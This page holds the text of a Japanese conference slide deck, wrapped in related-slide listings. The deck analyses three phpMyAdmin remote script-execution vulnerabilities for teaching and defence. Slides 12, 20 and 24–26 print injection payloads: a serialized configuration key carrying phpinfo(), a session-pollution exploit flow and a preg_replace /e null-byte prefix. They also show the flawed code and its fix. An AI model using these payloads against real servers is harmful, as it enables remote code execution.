Submit Search
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
15 likes
10,414 views
Hiroshi Tokumaru
phpMyAdminのスクリプト実行可能な脆弱性を3種類集めました
Technology
Read more
1 of 30
Download now
Downloaded 22 times
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
More Related Content
PDF
Active Directory 侵害と推奨対策
Yurika Kakiuchi
PDF
自宅サーバラックの勧め ~In osc nagoya~
h-otter
PDF
Prefectに関して imperfectに語る
notrogue
PPTX
CMDBuild Ready2Use紹介資料
OSSラボ株式会社
PDF
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
Tomohisa Kusukawa
PDF
Grafana LokiではじめるKubernetesロギングハンズオン(NTT Tech Conference #4 ハンズオン資料)
NTT DATA Technology & Innovation
PDF
セキュリティを楽しむ(CTFとbugbountyの始め方)
kazkiti
PDF
Kubernetesのしくみ やさしく学ぶ 内部構造とアーキテクチャー
Toru Makabe
Active Directory 侵害と推奨対策
Yurika Kakiuchi
自宅サーバラックの勧め ~In osc nagoya~
h-otter
Prefectに関して imperfectに語る
notrogue
CMDBuild Ready2Use紹介資料
OSSラボ株式会社
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
Tomohisa Kusukawa
Grafana LokiではじめるKubernetesロギングハンズオン(NTT Tech Conference #4 ハンズオン資料)
NTT DATA Technology & Innovation
セキュリティを楽しむ(CTFとbugbountyの始め方)
kazkiti
Kubernetesのしくみ やさしく学ぶ 内部構造とアーキテクチャー
Toru Makabe
What's hot
(20)
PPTX
できる!KickstartとAnsible!
Wataru NOGUCHI
PDF
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
PDF
Docker入門 - 基礎編 いまから始めるDocker管理
Masahito Zembutsu
PDF
ある工場の Redmine 2022 〜ある工場の Redmine 5.0 バージョンアップ〜 ( Redmine of one plant 2022 ...
Kohei Nakamura
PDF
CVE-2015-8562の脆弱性について
Yu Iwama
PPTX
標的型攻撃からどのように身を守るのか
abend_cve_9999_0001
PPTX
Continuous monitoring with OSSIM
Eguardian Global Services
PDF
MySQLレプリケーションあれやこれや
yoku0825
PDF
GraalVMでのFlight Recorderを使ったパフォーマンス解析(JJUG CCC 2023 Spring)
NTT DATA Technology & Innovation
PDF
[GKE & Spanner 勉強会] GKE 入門
Google Cloud Platform - Japan
PDF
「さくらのクラウド」におけるVyattaの活用事例
SAKURA Internet Inc.
PDF
【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮
Hibino Hisashi
PDF
An ACE in the Hole - Stealthy Host Persistence via Security Descriptors
Will Schroeder
PPTX
Spring CloudとZipkinを利用した分散トレーシング
Rakuten Group, Inc.
PDF
OpenStackで始めるクラウド環境構築入門(Horizon 基礎編)
VirtualTech Japan Inc.
PPTX
Ceph アーキテクチャ概説
Emma Haruka Iwao
PDF
kube-system落としてみました
Shuntaro Saiba
PDF
CMDBあれこれ
OSSラボ株式会社
PDF
アーキテクチャから理解するPostgreSQLのレプリケーション
Masahiko Sawada
PDF
Infiniband hack-a-thon #2 Windows班まとめ資料 Windows Server 2012 + FDR Infinibandで...
milk hanakara
できる!KickstartとAnsible!
Wataru NOGUCHI
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
Docker入門 - 基礎編 いまから始めるDocker管理
Masahito Zembutsu
ある工場の Redmine 2022 〜ある工場の Redmine 5.0 バージョンアップ〜 ( Redmine of one plant 2022 ...
Kohei Nakamura
CVE-2015-8562の脆弱性について
Yu Iwama
標的型攻撃からどのように身を守るのか
abend_cve_9999_0001
Continuous monitoring with OSSIM
Eguardian Global Services
MySQLレプリケーションあれやこれや
yoku0825
GraalVMでのFlight Recorderを使ったパフォーマンス解析(JJUG CCC 2023 Spring)
NTT DATA Technology & Innovation
[GKE & Spanner 勉強会] GKE 入門
Google Cloud Platform - Japan
「さくらのクラウド」におけるVyattaの活用事例
SAKURA Internet Inc.
【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮
Hibino Hisashi
An ACE in the Hole - Stealthy Host Persistence via Security Descriptors
Will Schroeder
Spring CloudとZipkinを利用した分散トレーシング
Rakuten Group, Inc.
OpenStackで始めるクラウド環境構築入門(Horizon 基礎編)
VirtualTech Japan Inc.
Ceph アーキテクチャ概説
Emma Haruka Iwao
kube-system落としてみました
Shuntaro Saiba
CMDBあれこれ
OSSラボ株式会社
アーキテクチャから理解するPostgreSQLのレプリケーション
Masahiko Sawada
Infiniband hack-a-thon #2 Windows班まとめ資料 Windows Server 2012 + FDR Infinibandで...
milk hanakara
Ad
Viewers also liked
(20)
PDF
文字コードに起因する脆弱性とその対策
Hiroshi Tokumaru
PDF
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
Hiroshi Tokumaru
PDF
徳丸本ができるまで
Hiroshi Tokumaru
PDF
ガラケーで楽しむオレJSの勧め
Hiroshi Tokumaru
PPT
UnicodeによるXSSとSQLインジェクションの可能性
Hiroshi Tokumaru
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
PDF
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
Hiroshi Tokumaru
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
Hiroshi Tokumaru
PDF
Rails SQL Injection Examplesの紹介
Hiroshi Tokumaru
PDF
安全なPHPアプリケーションの作り方2013
Hiroshi Tokumaru
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Hiroshi Tokumaru
PDF
ログイン前セッションフィクセイション攻撃の脅威と対策
Hiroshi Tokumaru
PPTX
PHPカンファレンス2009 - 45分で分かる安全なWebアプリケーション開発のための発注・要件・検収
Hiroshi Tokumaru
PDF
今日こそわかる、安全なWebアプリの作り方2010
Hiroshi Tokumaru
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
Hiroshi Tokumaru
PPTX
文字コードの脆弱性はこの3年間でどの程度対策されたか?
Hiroshi Tokumaru
PDF
いまさら聞けないパスワードの取り扱い方
Hiroshi Tokumaru
PPTX
セキュアコーディング方法論再構築の試み
Hiroshi Tokumaru
PDF
XSS再入門
Hiroshi Tokumaru
文字コードに起因する脆弱性とその対策
Hiroshi Tokumaru
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
Hiroshi Tokumaru
徳丸本ができるまで
Hiroshi Tokumaru
ガラケーで楽しむオレJSの勧め
Hiroshi Tokumaru
UnicodeによるXSSとSQLインジェクションの可能性
Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
Hiroshi Tokumaru
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
Hiroshi Tokumaru
Rails SQL Injection Examplesの紹介
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2013
Hiroshi Tokumaru
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Hiroshi Tokumaru
ログイン前セッションフィクセイション攻撃の脅威と対策
Hiroshi Tokumaru
PHPカンファレンス2009 - 45分で分かる安全なWebアプリケーション開発のための発注・要件・検収
Hiroshi Tokumaru
今日こそわかる、安全なWebアプリの作り方2010
Hiroshi Tokumaru
徳丸本に載っていないWebアプリケーションセキュリティ
Hiroshi Tokumaru
文字コードの脆弱性はこの3年間でどの程度対策されたか?
Hiroshi Tokumaru
いまさら聞けないパスワードの取り扱い方
Hiroshi Tokumaru
セキュアコーディング方法論再構築の試み
Hiroshi Tokumaru
XSS再入門
Hiroshi Tokumaru
Ad
Similar to phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
(20)
PPTX
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
Hiroshi Tokumaru
PDF
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
JPCERT Coordination Center
PPTX
Consulによる運用自律化体験ハンズオンとConsul活用事例紹介
cloudconductor
PDF
About OpenStack DBaas (trove)
Ikuo Kumagai
PDF
Serf / Consul 入門 ~仕事を楽しくしよう~
Masahito Zembutsu
PPTX
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
PDF
クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)
Daisuke Ikeda
PDF
Tottoruby 20110903
Takashi SAKAGUCHI
KEY
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
Takashi Uemura
PPTX
Azure サポート エンジニア直伝 ~ PowerShell 実践活用術 ~
ShuheiUda
PDF
Cloud Design Pattern #3 Compensating Transaction_エンジニア勉強会20140917
エンジニア勉強会 エスキュービズム
PDF
デブサミ夏2014 開発者に嬉しいSoftLayerサーバー構築Tips
Maho Takara
PPTX
Step by stepで学ぶTerraformによる監視付きAWS構築
Yo Takezawa
PDF
【19-C-L】Web開発者ならおさえておきたい「常時SSL/TLS化の実装ポイント」
Developers Summit
PDF
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
kwatch
PDF
泥臭い運用から、プログラマブルインフラ構築(に行きたい)
Akihiro Kuwano
PDF
WTM53 phpフレームワーク いまさらcodeigniter
Masanori Oobayashi
PDF
MySQL Technology Cafe #12 MDS HA検証 ~パラメータからパフォーマンスまで~
オラクルエンジニア通信
PPTX
Zend_Acl in ServiceLayer
T K
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
XXE、SSRF、安全でないデシリアライゼーション入門
Hiroshi Tokumaru
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
JPCERT Coordination Center
Consulによる運用自律化体験ハンズオンとConsul活用事例紹介
cloudconductor
About OpenStack DBaas (trove)
Ikuo Kumagai
Serf / Consul 入門 ~仕事を楽しくしよう~
Masahito Zembutsu
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)
Daisuke Ikeda
Tottoruby 20110903
Takashi SAKAGUCHI
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
Takashi Uemura
Azure サポート エンジニア直伝 ~ PowerShell 実践活用術 ~
ShuheiUda
Cloud Design Pattern #3 Compensating Transaction_エンジニア勉強会20140917
エンジニア勉強会 エスキュービズム
デブサミ夏2014 開発者に嬉しいSoftLayerサーバー構築Tips
Maho Takara
Step by stepで学ぶTerraformによる監視付きAWS構築
Yo Takezawa
【19-C-L】Web開発者ならおさえておきたい「常時SSL/TLS化の実装ポイント」
Developers Summit
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
kwatch
泥臭い運用から、プログラマブルインフラ構築(に行きたい)
Akihiro Kuwano
WTM53 phpフレームワーク いまさらcodeigniter
Masanori Oobayashi
MySQL Technology Cafe #12 MDS HA検証 ~パラメータからパフォーマンスまで~
オラクルエンジニア通信
Zend_Acl in ServiceLayer
T K
More from Hiroshi Tokumaru
(20)
PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
PPTX
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
Hiroshi Tokumaru
PPT
SQLインジェクション再考
Hiroshi Tokumaru
PPTX
徳丸本VMに脆弱なWordPressを導入する
Hiroshi Tokumaru
PPTX
introduction to unsafe deserialization part1
Hiroshi Tokumaru
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
Hiroshi Tokumaru
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
Hiroshi Tokumaru
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Hiroshi Tokumaru
PPTX
Railsエンジニアのためのウェブセキュリティ入門
Hiroshi Tokumaru
PPTX
安全なWebアプリケーションの作り方2018
Hiroshi Tokumaru
PPTX
秀スクリプトの話
Hiroshi Tokumaru
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Hiroshi Tokumaru
PPTX
若手エンジニアのためのセキュリティ講座
Hiroshi Tokumaru
PPTX
ウェブセキュリティの常識
Hiroshi Tokumaru
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
Hiroshi Tokumaru
PDF
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru
PPTX
ウェブセキュリティの最近の話題早分かり
Hiroshi Tokumaru
PPTX
セキュリティの都市伝説を暴く
Hiroshi Tokumaru
PPTX
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
Hiroshi Tokumaru
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
Hiroshi Tokumaru
SQLインジェクション再考
Hiroshi Tokumaru
徳丸本VMに脆弱なWordPressを導入する
Hiroshi Tokumaru
introduction to unsafe deserialization part1
Hiroshi Tokumaru
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
Hiroshi Tokumaru
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
Hiroshi Tokumaru
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Hiroshi Tokumaru
Railsエンジニアのためのウェブセキュリティ入門
Hiroshi Tokumaru
安全なWebアプリケーションの作り方2018
Hiroshi Tokumaru
秀スクリプトの話
Hiroshi Tokumaru
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Hiroshi Tokumaru
若手エンジニアのためのセキュリティ講座
Hiroshi Tokumaru
ウェブセキュリティの常識
Hiroshi Tokumaru
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
Hiroshi Tokumaru
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru
ウェブセキュリティの最近の話題早分かり
Hiroshi Tokumaru
セキュリティの都市伝説を暴く
Hiroshi Tokumaru
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
Hiroshi Tokumaru
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
1.
phpMyAdminにおける スクリプト実行可能な脆弱性3種盛り合わせ HASH コンサルティング株式会社 徳丸 浩
2.
アジェンダ • 今日はphpMyAdminにおける「スクリプト実行可能な脆 弱性」を3種類紹介します – CVE-2009-1151 –
CVE-2011-2505 / CVE-2011-2506 – CVE-2013-3238 • まとめ 2 Copyright © 2013 HASH Consulting Corp.
3.
はじめに • (サーバーサイド)スクリプト実行可能な脆弱性と いうと… • OSコマンドインジェクション •
evalインジェクション • Local File Inclusion (LFI) / Remote File Inclusion(RFI) • スクリプトファイルのアップロード • … • 今回紹介するものはどれでもない Copyright © 2013 HASH Consulting Corp. 3
4.
phpMyAdminとは… Copyright © 2013
HASH Consulting Corp. 4
5.
CVE-2009-1151 Copyright © 2013
HASH Consulting Corp. 5
6.
CVE-2009-1151 6http://jvndb.jvn.jp/ja/contents/2009/JVNDB-2009-001443.html
7.
セットアップ内容のセーブ Copyright © 2013
HASH Consulting Corp. 7
8.
configurationはシリアライズされたオブジェクト Copyright © 2013
HASH Consulting Corp. 8 configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"h ost";s:9:"localhost";s:9:"extension";s:5:"mysql";s:1 2:"connect_type";s:3:"tcp";s:8:"compress";b:0;s:9:" auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
9.
configurationからPHPソースが作られる Copyright © 2013
HASH Consulting Corp. 9 Array ( [Servers] => Array ( [0] => Array ( [host] => localhost [extension] => mysql [connect_type] => tcp [compress] => [auth_type] => config [user] => root ) ) ) configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"host";s:9:"localhost ";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"comp ress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}} $i++; $cfg['Servers'][$i]['host'] = 'localhost'; $cfg['Servers'][$i]['extension'] = 'mysql'; $cfg['Servers'][$i]['connect_type'] = 'tcp'; $cfg['Servers'][$i]['compress'] = false; $cfg['Servers'][$i]['auth_type'] = 'config'; $cfg['Servers'][$i]['user'] = 'root';
10.
値に「’」を入れると、ちゃんとエスケープされる Copyright © 2013
HASH Consulting Corp. 10 Array ( [Servers] => Array ( [0] => Array ( [host] => localhost'a [extension] => mysql [connect_type] => tcp [compress] => [auth_type] => config [user] => root ) ) ) configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"host";s:11:"localho st'a";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"c ompress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}} $i++; $cfg['Servers'][$i]['host'] = 'localhost¥'a'; $cfg['Servers'][$i]['extension'] = 'mysql'; $cfg['Servers'][$i]['connect_type'] = 'tcp'; $cfg['Servers'][$i]['compress'] = false; $cfg['Servers'][$i]['auth_type'] = 'config'; $cfg['Servers'][$i]['user'] = 'root';
11.
でも、キー側の「’」はエスケープされない ^^; Copyright ©
2013 HASH Consulting Corp. 11 Array ( [Servers] => Array ( [0] => Array ( [host'a] => localhost [extension] => mysql [connect_type] => tcp [compress] => [auth_type] => config [user] => root ) ) ) configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:6:"host'a";s:9:"localho st";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"co mpress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}} $i++; $cfg['Servers'][$i]['host'a'] = 'localhost'; $cfg['Servers'][$i]['extension'] = 'mysql'; $cfg['Servers'][$i]['connect_type'] = 'tcp'; $cfg['Servers'][$i]['compress'] = false; $cfg['Servers'][$i]['auth_type'] = 'config'; $cfg['Servers'][$i]['user'] = 'root';
12.
キーにスクリプトを注入可能 Copyright © 2013
HASH Consulting Corp. 12 Array ( [Servers] => Array ( [0] => Array ( [host'']=phpinfo();//] => localhost [extension] => mysql [connect_type] => tcp [compress] => [auth_type] => config [user] => root ) ) ) configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:19:"host']=phpinfo();//";s:9: "localhost";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:" compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}} $i++; $cfg['Servers'][$i]['host’]=phpinfo();//'] = 'localhost'; $cfg['Servers'][$i]['extension'] = 'mysql'; $cfg['Servers'][$i]['connect_type'] = 'tcp'; $cfg['Servers'][$i]['compress'] = false; $cfg['Servers'][$i]['auth_type'] = 'config'; $cfg['Servers'][$i]['user'] = 'root';
13.
あーあ、サーバー側でスクリプトが… Copyright © 2013
HASH Consulting Corp. 13
14.
CVE-2011-2505 / CVE-2011-2506 Copyright
© 2013 HASH Consulting Corp. 14
15.
CVE-2011-2505 • 細工をしたクエリ文字列を通して、セッション変数 を変更できる Copyright ©
2013 HASH Consulting Corp. 15 if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false) { parse_str($_SERVER['QUERY_STRING']); session_write_close(); session_id($session_to_unset); // セッションIDの変更 session_start(); $_SESSION = array(); session_write_close(); session_destroy(); exit; } libraries/auth/swekey/swekey.auth.lib.php 266行目以降
16.
parse_str 関数 16 http://php.net/manual/ja/function.parse-str.php
17.
parse_str 関数の実行例 Copyright ©
2013 HASH Consulting Corp. 17 <?php session_start(); parse_str('a=xyz&b[x]=p23&_SESSION[user]=yamada'); var_dump($a); var_dump($b); var_dump($_SESSION); 【実行結果】 string(3) "xyz" array(1) { ["x"]=> string(3) "p23" } array(1) { ["user"]=> string(6) "yamada" }
18.
CVE-2011-2506 18http://jvndb.jvn.jp/ja/contents/2011/JVNDB-2011-004722.html
19.
• サーバー名(getServerName())は、コメント記号 をサニタイジングしている • $idの方はサニタイジングしていない
→ 脆弱性 • CVE-2011-2505により、$idに攻撃コードが注 入できる Copyright © 2013 HASH Consulting Corp. 19 // servers if ($cf->getServerCount() > 0) { $ret .= "/* Servers configuration */$crlf¥$i = 0;" . $crlf . $crlf; foreach ($c['Servers'] as $id => $server) { $ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . " [$id] */" . $crlf setup/lib/ConfigGenerator.class.php 38行目
20.
exploitの流れ Copyright © 2013
HASH Consulting Corp. 20 セッションID、トークンの取得など GET /phpmyadmin/setup/index.php セッション変数汚染 GET /phpmyadmin/?_SESSION[ConfigFile][Servers][*/攻撃スクリプト 攻撃コードの埋め込み(ファイルへの保存) POST /phpmyadmin/setup/config.php 攻撃コードの実行 GET /phpmyadmin/config/config.inc.php?eval=攻撃コード
21.
CVE-2013-3238 Copyright © 2013
HASH Consulting Corp. 21
22.
CVE-2013-3238 22http://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-002490.html
23.
テーブルの接頭辞を変更する機能 Copyright © 2013
HASH Consulting Corp. 23
24.
/e¥0 をphpinfo()に変更する操作を実行してみる Copyright ©
2013 HASH Consulting Corp. 24
25.
Phpinfo()が実行された ^^; Copyright ©
2013 HASH Consulting Corp. 25
26.
攻撃ができる理由 Copyright © 2013
HASH Consulting Corp. 26 case 'replace_prefix_tbl': $current = $selected[$i]; $newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current); preg_replace("/^/e¥0/", "phpinfo();", "test"); preg_replace("/^/e", "phpinfo();", "test"); $from_pref = "/e¥0" PHP5.4.3以前では、¥0以降は無視される
27.
/e 修飾子… 27 http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php
28.
/e 修飾子…続き 28 http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php
29.
脆弱性が混入した要因 • preg_replaceに渡す正規表現をエスケープして いなかった – 最低限、/
をエスケープする必要がある • えーっと、preg_quoteって、マルチバイト対応 だっけ? – Shift_JIS以外では問題ない? Copyright © 2013 HASH Consulting Corp. 29 preg_replace(“/^” . $from_prefix . “/”, … ↓ reg_replace("/^" . preg_quote($from_prefix, '/') . "/", …
30.
Copyright © 2013
HASH Consulting Corp. 30 まとめ • phpMyAdminのスクリプト実行可能な脆弱性3種 類を紹介しました • うち、2種類は比較的基本的なもの…脆弱性診 断でも見つかる? • Setup用のスクリプトが外部から叩けるという状 況がそもそもおかしい気が… – phpMyAdminが標準的な導入・運用のスタイルを提 供していない? • 脆弱性の入り方は酷いと思うけど、脆弱性って 大抵酷いものだよねw
Download